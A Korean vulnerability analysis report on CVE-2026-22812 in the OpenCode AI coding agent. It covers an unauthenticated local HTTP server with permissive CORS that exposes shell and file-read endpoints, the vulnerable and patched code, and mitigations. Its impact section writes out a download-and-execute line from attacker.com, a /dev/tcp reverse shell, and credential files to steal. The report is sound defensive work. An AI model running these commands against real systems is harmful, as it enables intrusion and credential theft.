1. 개요
본 보고서는 오픈소스 AI 코딩 에이전트인 OpenCode에서 발생하는 CVE-2026-22812 취약점에 대해 다룬다.
OpenCode는 개발자들이 AI를 활용하여 코드를 작성하고 관리할 수 있도록 지원하는 도구이다. 그러나 1.0.216 버전 이전의 OpenCode는 실행 시 인증 없이 HTTP 서버를 자동으로 시작하며, 이 서버는 과도하게 허용적인 CORS(Cross-Origin Resource Sharing) 정책으로 구성되어 있다.
이로 인해 로컬 시스템의 모든 프로세스뿐만 아니라, 악성 웹사이트를 방문하는 것만으로도 공격자가 사용자 권한으로 임의의 쉘 명령을 실행할 수 있는 심각한 보안 취약점이 존재한다.
2. 사전 지식
2.1. CORS와 Same-Origin Policy 이해
브라우저는 보안을 위해 Same-Origin Policy(동일 출처 정책)를 적용한다. 이는 웹 페이지가 다른 출처(도메인, 포트, 프로토콜)의 리소스에 접근하는 것을 제한한다.
Same-Origin Policy 예시:
웹사이트 A (https://attacker.com)
│
│ fetch('http://127.0.0.1:4096/session') ← Cross-Origin 요청
│
▼
브라우저 검사
│
├─ 서버 응답에 'Access-Control-Allow-Origin: *' 있음
│ │
│ ▼
│ 요청 허용! ← OpenCode의 문제점
│
└─ 서버 응답에 CORS 헤더 없음
│
▼
요청 차단 (정상 동작)
Plain Text
복사
[그림 1] Same-Origin Policy와 CORS 동작 흐름
2.2. HTTP Basic Authentication 이해
HTTP Basic Authentication
•
HTTP 요청 헤더에 사용자명:비밀번호를 Base64 인코딩하여 전송
•
Authorization: Basic base64(username:password)
•
단독 사용 시 평문 노출 위험 → HTTPS와 함께 사용 권장
3. 취약점 근본 원인 분석
항목 | 내용 |
취약점 번호 | CVE-2026-22812 |
취약점 이름 | OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution |
취약점 종류 | Remote Code Execution (RCE) |
CVSS | 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) |
영향받는 버전 | OpenCode < 1.0.216 |
패치된 버전 | OpenCode 1.0.216 |
3.1. 취약점 요약
CVE-2026-22812는 세 가지 보안 결함이 결합되어 발생한다.
결함 | 설명 |
인증 부재 | HTTP 서버에 접근할 때 어떠한 인증도 요구하지 않음 |
위험한 API 노출 | 쉘 명령 실행, 파일 읽기 등 위험한 기능을 가진 엔드포인트 노출 |
과도한 CORS 허용 | 모든 출처에서의 Cross-Origin 요청 허용 |
이 세 가지 결함으로 인해, 악성 웹사이트를 방문하는 것만으로도 공격자가 사용자의 시스템에서 임의의 명령을 실행할 수 있게 된다.
3.2. OpenCode 아키텍처 및 취약점 발생 위치
3.2.1. 전체 구조
OpenCode 실행 시 다음과 같은 구조로 HTTP 서버가 시작된다.
OpenCode 실행
│
▼
cli/cmd/tui/worker.ts
│
│ Server.listen() ← HTTP 서버 자동 시작
│
▼
packages/opencode/src/server/server.ts
│
├─ .use(cors()) ← 과도한 CORS 정책 (Access-Control-Allow-Origin: *)
│
├─ 인증 미들웨어 없음 ← 인증 부재
│
└─ 위험한 엔드포인트 노출
├─ POST /session/:id/shell ← 쉘 명령 실행
├─ POST /pty ← 대화형 터미널 세션 생성
└─ GET /file/content?path= ← 임의 파일 읽기
Plain Text
복사
[그림 2] OpenCode 서버 아키텍처 및 취약점 발생 위치
3.2.2. 노출된 위험한 API엔드포인트
엔드포인트 | HTTP Method | 기능 | 위험도 |
/session/:id/shell | POST | 임의의 쉘 명령 실행 | Critical |
/pty | POST | 대화형 터미널 세션 생성 | Critical |
/file/content?path= | GET | 시스템 내 임의 파일 읽기 | High |
/session | POST | 새로운 세션 생성 | Medium |
3.3. 취약한 코드 분석
3.3.1. server.ts - CORS 설정
// packages/opencode/src/server/server.ts
import { cors } from 'hono/cors'
const app = new Hono()
// 취약점: 과도한 CORS 정책
// 모든 출처에서의 요청을 허용 (Access-Control-Allow-Origin: *)
app.use(cors()) // 기본 설정: 모든 Origin 허용
// 취약점: 인증 미들웨어 없음
// 어떤 요청도 인증 없이 처리됨
TypeScript
복사
[코드 1] 취약한 CORS 설정 (server.ts)
cors() 함수를 기본 설정으로 호출하면 Access-Control-Allow-Origin: *이 설정된다. 이는 모든 웹사이트에서 이 서버로 Cross-Origin 요청을 보낼 수 있음을 의미한다.
3.3.2. server.ts - 쉘 명령 실행 엔드포인트
// POST /session/:id/shell - 쉘 명령 실행 엔드포인트
app.post('/session/:id/shell',
zValidator('param', z.object({ id: z.string() })),
zValidator('json', z.object({
agent: z.string(),
command: z.string() // 사용자 입력 명령어
})),
async (c) => {
const { id } = c.req.valid('param')
const { agent, command } = c.req.valid('json')
// 취약점: 인증 없이 임의의 쉘 명령 실행
const result = await executeShellCommand(id, agent, command)
return c.json(result)
}
)
TypeScript
복사
[코드 2] 인증 없는 쉘 명령 실행 엔드포인트
이 엔드포인트는 command 파라미터로 전달된 임의의 쉘 명령을 실행한다. 인증이 없으므로 누구나 이 API를 호출하여 시스템 명령을 실행할 수 있다.
3.3.3. server.ts - 파일 읽기 엔드포인트
// GET /file/content?path= - 파일 내용 읽기 엔드포인트
app.get('/file/content',
zValidator('query', z.object({ path: z.string() })),
async (c) => {
const { path } = c.req.valid('query')
// 취약점: 인증 없이 임의의 파일 읽기
const content = await fs.readFile(path, 'utf-8')
return c.json({ content })
}
)
TypeScript
복사
[코드 3] 인증 없는 파일 읽기 엔드포인트
path 파라미터에 시스템의 모든 경로를 지정할 수 있다. 예를 들어 /etc/passwd, ~/.ssh/id_rsa 등 민감한 파일을 읽을 수 있다.
3.4. 패치된 코드 분석 (v1.0.216)
개발자는 v1.0.216 버전에서 다음과 같이 CORS 정책을 수정하여 취약점을 완화하였다.
.use(
cors({
origin(input) {
// 1. Origin 헤더가 없으면 허용하지 않음
if (!input) return
// 2. localhost 허용 (개발 환경)
if (input.startsWith("http://localhost:")) return input
// 3. 127.0.0.1 허용 (개발 환경)
if (input.startsWith("http://127.0.0.1:")) return input
// 4. Tauri 앱 허용 (데스크톱 앱)
if (input === "tauri://localhost") return input
// 5. *.opencode.ai 서브도메인만 허용 (HTTPS만)
if (/^https:\/\/([a-z0-9-]+\.)*opencode\.ai$/.test(input)) {
return input
}
// 6. 그 외 모든 출처 거부
return
},
}),
)
TypeScript
복사
[코드 4] 패치된 CORS 정책 (v1.0.216)
v1.0.216 패치 내용 요약:
허용 조건 | 설명 |
http://localhost:* | 로컬 개발 환경 허용 |
http://127.0.0.1:* | 로컬 루프백 주소 허용 |
tauri://localhost | Tauri 데스크톱 앱 허용 |
https://*.opencode.ai | 공식 도메인만 허용 (HTTPS 필수) |
그 외 모든 출처 | 거부 |
3.5. 최신 버전 보안 강화 (v1.1.x)
현재 최신 버전(v1.1.x)에서는 v1.0.216의 CORS 패치에 더해 추가적인 보안 기능이 적용되었다.
1. HTTP Basic Authentication 추가 (v1.1.15)
v1.1.15 changelog에서 다음과 같이 인증 기능이 추가되었다:
•
Rename OPENCODE_PASSWORD to OPENCODE_SERVER_PASSWORD for clearer authentication configuration
•
Add password authentication and improve server security
# 환경 변수로 서버 인증 설정
OPENCODE_SERVER_PASSWORD=your-secure-password opencode serve
# 사용자명도 변경 가능 (기본값: opencode)
OPENCODE_SERVER_USERNAME=admin OPENCODE_SERVER_PASSWORD=your-password opencode serve
Bash
복사
[코드 5] HTTP Basic Authentication 설정 방법
이제 서버에 접근하려면 HTTP Basic Auth 인증이 필요하다. 인증 없이는 모든 API 엔드포인트 접근이 차단된다.
2. 커스텀 CORS 화이트리스트 지원 (v1.0.219 / v1.1.1)
v1.0.219 및 v1.1.1 changelog에서 다음과 같이 CORS 설정 기능이 추가되었다:
•
Allow configurable CORS hosts (v1.0.219)
•
Added CORS whitelist support via server.cors config option (v1.1.1)
# CLI 옵션으로 추가 출처 허용
opencode serve --cors http://localhost:5173 --cors https://app.example.com
Bash
복사
[코드 6] CORS 화이트리스트 CLI 옵션
// opencode.json 설정 파일
{
"server": {
"cors": [
"https://app.example.com",
"http://localhost:5173"
]
}
}
JSON
복사
[코드 7] CORS 화이트리스트 설정 파일 (opencode.json)
관리자가 신뢰할 수 있는 출처를 명시적으로 추가할 수 있다.
3. 데스크톱 앱 자동 인증 (v1.1.16 / v1.1.17)
v1.1.16 및 v1.1.17 changelog에서 데스크톱 앱 보안이 강화되었다:
•
feat(desktop): spawn local server with password (#8139) (v1.1.16)
•
Set serverPassword in desktop app (@Brendonovich) (v1.1.17)
데스크톱 앱에서 로컬 서버 실행 시 자동으로 비밀번호가 적용되어, 별도 설정 없이도 보안이 강화된다.
3.6. 버전별 보안 수준 비교
구분 | < v1.0.216 (취약) | v1.0.216 (초기 패치) | v1.1.28 (최신) |
CORS 정책 | 모든 출처 허용 (*) | localhost + *.opencode.ai | localhost + *.opencode.ai + 커스텀 설정 |
인증 | 없음 | 없음 (선택적) | HTTP Basic Auth 지원 |
데스크톱 앱 | 무인증 | 무인증 | 자동 비밀번호 적용 |
브라우저 공격 | 가능 | 차단됨 | 차단됨 |
로컬 프로세스 공격 | 가능 | 가능 | 인증 시 차단 |
3.7. 시연 영상
[동영상 1] CVE-2026-22812 시연 영상
4. 공격 영향
본 취약점이 악용될 경우, 공격자는 OpenCode를 실행 중인 시스템에서 사용자 권한으로 완전한 제어권을 획득할 수 있다.
1.
원격 코드 실행
•
/session/:id/shell 엔드포인트를 통해 공격자가 원하는 모든 시스템 명령을 실행할 수 있다. 이는 다음을 포함한다.
공격 유형 | 예시 |
악성코드 다운로드/실행 | curl http://attacker.com/malware | bash |
리버스 쉘 연결 | bash -i >& /dev/tcp/attacker/4444 0>&1 |
랜섬웨어 배포 | 파일 암호화 스크립트 실행 |
암호화폐 채굴 | 채굴 프로그램 설치 및 실행 |
2.
민감 정보 탈취
•
/file/content 엔드포인트를 통해 시스템의 모든 파일을 읽을 수 있다.
대상 파일 | 위험성 |
/etc/passwd, /etc/shadow | 시스템 계정 정보 노출 |
~/.ssh/id_rsa | SSH 개인키 탈취 → 다른 시스템 접근 |
~/.aws/credentials | AWS 자격 증명 탈취 |
~/.gitconfig, ~/.git-credentials | Git 자격 증명 탈취 |
프로젝트 소스코드 | 지적 재산권 침해, 백도어 삽입 |
5. 완화 및 권고사항
1.
버전 업그레이드
# npm을 통한 업그레이드
npm update opencode-ai
# 또는 최신 버전 직접 설치
npm install opencode-ai@latest
Bash
복사
[코드 8] OpenCode 업그레이드 명령어
2.
네트워크 수준 보호
3.
브라우저 보안 강화
4.
—mdns 플래그 사용 금지
•
네트워크 전체로 공격 표면이 확대되므로 --mdns 플래그 사용을 피한다.
6. 결론
CVE-2026-22812는 OpenCode의 설계적 보안 결함에서 비롯된 심각한 취약점이다.
핵심 문제 | 설명 |
인증 부재 | HTTP 서버에 어떠한 인증도 없음 |
과도한 CORS | 모든 출처의 요청 허용 (Access-Control-Allow-Origin: *) |
위험한 API 노출 | 쉘 실행, 파일 읽기 등 민감한 기능 무방비 노출 |
자동 서버 시작 | 사용자 인지 없이 서버가 시작됨 |
이 취약점은 Drive-by Attack을 통해 악용될 수 있어, 피해자가 악성 웹사이트를 방문하는 것만으로도 시스템이 완전히 장악될 수 있다. 특히 개발자 환경에서는 소스코드 탈취, CI/CD 파이프라인 침해, 클라우드 자격 증명 노출 등 추가적인 피해가 발생할 수 있다.
영향받는 버전의 OpenCode를 사용 중인 경우, 즉시 1.0.216 이상으로 업그레이드하고, 네트워크 수준의 보호 조치를 적용해야 한다.


